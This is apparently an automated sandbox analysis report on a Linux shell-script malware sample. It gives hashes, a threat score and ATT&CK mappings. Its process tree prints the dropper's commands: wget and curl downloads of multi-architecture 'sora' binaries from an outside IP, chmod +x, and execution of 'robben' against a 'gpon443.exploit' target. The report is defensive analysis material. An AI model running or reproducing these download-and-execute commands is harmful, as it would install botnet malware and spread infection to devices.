19d028fd03c73953080df9965835b1d8f91a7e742d8fb3532bc0c93668fdb26f

Analysis

max time kernel
46s
max time network
47s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
11/11/2024, 02:09

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General

Target
19d028fd03c73953080df9965835b1d8f91a7e742d8fb3532bc0c93668fdb26f.sh
Size 2KB
Sample241111-ck4b8azjet
SHA256 19d028fd03c73953080df9965835b1d8f91a7e742d8fb3532bc0c93668fdb26f
MD5 60b8d8bb8c8998f9ae78a5d4438c942c
SHA1 40a380212fc52cb05e7f37aaf4c6dcf3f5278c38
SHA512 8aa187e839e67cac22458b59be4b36209243ff750fc441b51d64356b6b2fe238ff7d99db826886e914fb2f0cf06d4011412307282716b3355f7d2b6ec67b9961
MD5 SHA1 SHA512

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
786	chmod
854	chmod
874	chmod
730	chmod
757	chmod
768	chmod
804	chmod
823	chmod
750	chmod
836	chmod
847	chmod
861	chmod
743	chmod
890	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/robben	732	robben
/tmp/robben	744	robben
/tmp/robben	751	robben
/tmp/robben	758	robben
/tmp/robben	770	robben
/tmp/robben	788	robben
/tmp/robben	805	robben
/tmp/robben	824	robben
/tmp/robben	837	robben
/tmp/robben	848	robben
/tmp/robben	855	robben
/tmp/robben	862	robben
/tmp/robben	875	robben
/tmp/robben	892	robben

Reads runtime system information 14 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
741	cat
734	wget
738	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/robben	19d028fd03c73953080df9965835b1d8f91a7e742d8fb3532bc0c93668fdb26f.sh

/tmp/19d028fd03c73953080df9965835b1d8f91a7e742d8fb3532bc0c93668fdb26f.sh
/tmp/19d028fd03c73953080df9965835b1d8f91a7e742d8fb3532bc0c93668fdb26f.sh
1⤵
- Writes file to tmp directory
PID:706
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.x86
  2⤵
  PID:710
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.x86
  2⤵
  - Reads runtime system information
  PID:723
- /bin/cat
  cat sora.x86
  2⤵
  PID:728
- /bin/chmod
  chmod +x 19d028fd03c73953080df9965835b1d8f91a7e742d8fb3532bc0c93668fdb26f.sh robben systemd-private-4cb956a2fd91447da6e1b309a5742ec8-systemd-timedated.service-7myqNb
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  - Executes dropped EXE
  PID:732
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:734
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:738
- /bin/cat
  cat sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:741
- /bin/chmod
  chmod +x 19d028fd03c73953080df9965835b1d8f91a7e742d8fb3532bc0c93668fdb26f.sh robben systemd-private-4cb956a2fd91447da6e1b309a5742ec8-systemd-timedated.service-7myqNb
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  - Executes dropped EXE
  PID:744
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.x86_64
  2⤵
  PID:746
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.x86_64
  2⤵
  - Reads runtime system information
  PID:747
- /bin/cat
  cat sora.x86_64
  2⤵
  PID:749
- /bin/chmod
  chmod +x 19d028fd03c73953080df9965835b1d8f91a7e742d8fb3532bc0c93668fdb26f.sh robben systemd-private-4cb956a2fd91447da6e1b309a5742ec8-systemd-timedated.service-7myqNb
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  - Executes dropped EXE
  PID:751
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.i468
  2⤵
  PID:753
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.i468
  2⤵
  - Reads runtime system information
  PID:754
- /bin/cat
  cat sora.i468
  2⤵
  PID:756
- /bin/chmod
  chmod +x 19d028fd03c73953080df9965835b1d8f91a7e742d8fb3532bc0c93668fdb26f.sh robben systemd-private-4cb956a2fd91447da6e1b309a5742ec8-systemd-timedated.service-7myqNb
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  - Executes dropped EXE
  PID:758
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.i686
  2⤵
  PID:760
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.i686
  2⤵
  - Reads runtime system information
  PID:761
- /bin/cat
  cat sora.i686
  2⤵
  PID:767
- /bin/chmod
  chmod +x 19d028fd03c73953080df9965835b1d8f91a7e742d8fb3532bc0c93668fdb26f.sh robben systemd-private-4cb956a2fd91447da6e1b309a5742ec8-systemd-timedated.service-7myqNb
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  - Executes dropped EXE
  PID:770
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.mpsl
  2⤵
  PID:772
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.mpsl
  2⤵
  - Reads runtime system information
  PID:777
- /bin/cat
  cat sora.mpsl
  2⤵
  PID:784
- /bin/chmod
  chmod +x 19d028fd03c73953080df9965835b1d8f91a7e742d8fb3532bc0c93668fdb26f.sh robben systemd-private-4cb956a2fd91447da6e1b309a5742ec8-systemd-timedated.service-7myqNb
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  - Executes dropped EXE
  PID:788
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm4
  2⤵
  PID:790
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm4
  2⤵
  - Reads runtime system information
  PID:794
- /bin/cat
  cat sora.arm4
  2⤵
  PID:801
- /bin/chmod
  chmod +x 19d028fd03c73953080df9965835b1d8f91a7e742d8fb3532bc0c93668fdb26f.sh robben systemd-private-4cb956a2fd91447da6e1b309a5742ec8-systemd-timedated.service-7myqNb
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  - Executes dropped EXE
  PID:805
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm5
  2⤵
  PID:807
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm5
  2⤵
  - Reads runtime system information
  PID:810
- /bin/cat
  cat sora.arm5
  2⤵
  PID:821
- /bin/chmod
  chmod +x 19d028fd03c73953080df9965835b1d8f91a7e742d8fb3532bc0c93668fdb26f.sh robben systemd-private-4cb956a2fd91447da6e1b309a5742ec8-systemd-timedated.service-7myqNb
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  - Executes dropped EXE
  PID:824
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm6
  2⤵
  PID:826
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm6
  2⤵
  - Reads runtime system information
  PID:832
- /bin/cat
  cat sora.arm6
  2⤵
  PID:835
- /bin/chmod
  chmod +x 19d028fd03c73953080df9965835b1d8f91a7e742d8fb3532bc0c93668fdb26f.sh robben systemd-private-4cb956a2fd91447da6e1b309a5742ec8-systemd-timedated.service-7myqNb
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  - Executes dropped EXE
  PID:837
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm7
  2⤵
  PID:839
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm7
  2⤵
  - Reads runtime system information
  PID:844
- /bin/cat
  cat sora.arm7
  2⤵
  PID:846
- /bin/chmod
  chmod +x 19d028fd03c73953080df9965835b1d8f91a7e742d8fb3532bc0c93668fdb26f.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  - Executes dropped EXE
  PID:848
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.ppc
  2⤵
  PID:850
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.ppc
  2⤵
  - Reads runtime system information
  PID:851
- /bin/cat
  cat sora.ppc
  2⤵
  PID:853
- /bin/chmod
  chmod +x 19d028fd03c73953080df9965835b1d8f91a7e742d8fb3532bc0c93668fdb26f.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  - Executes dropped EXE
  PID:855
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.ppc440fp
  2⤵
  PID:857
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.ppc440fp
  2⤵
  - Reads runtime system information
  PID:858
- /bin/cat
  cat sora.ppc440fp
  2⤵
  PID:860
- /bin/chmod
  chmod +x 19d028fd03c73953080df9965835b1d8f91a7e742d8fb3532bc0c93668fdb26f.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  - Executes dropped EXE
  PID:862
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.m68k
  2⤵
  PID:864
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.m68k
  2⤵
  - Reads runtime system information
  PID:865
- /bin/cat
  cat sora.m68k
  2⤵
  PID:872
- /bin/chmod
  chmod +x 19d028fd03c73953080df9965835b1d8f91a7e742d8fb3532bc0c93668fdb26f.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  - Executes dropped EXE
  PID:875
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.sh4
  2⤵
  PID:877
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.sh4
  2⤵
  - Reads runtime system information
  PID:882
- /bin/cat
  cat sora.sh4
  2⤵
  PID:888
- /bin/chmod
  chmod +x 19d028fd03c73953080df9965835b1d8f91a7e742d8fb3532bc0c93668fdb26f.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/robben
  ./robben gpon443.exploit
  2⤵
  - Executes dropped EXE
  PID:892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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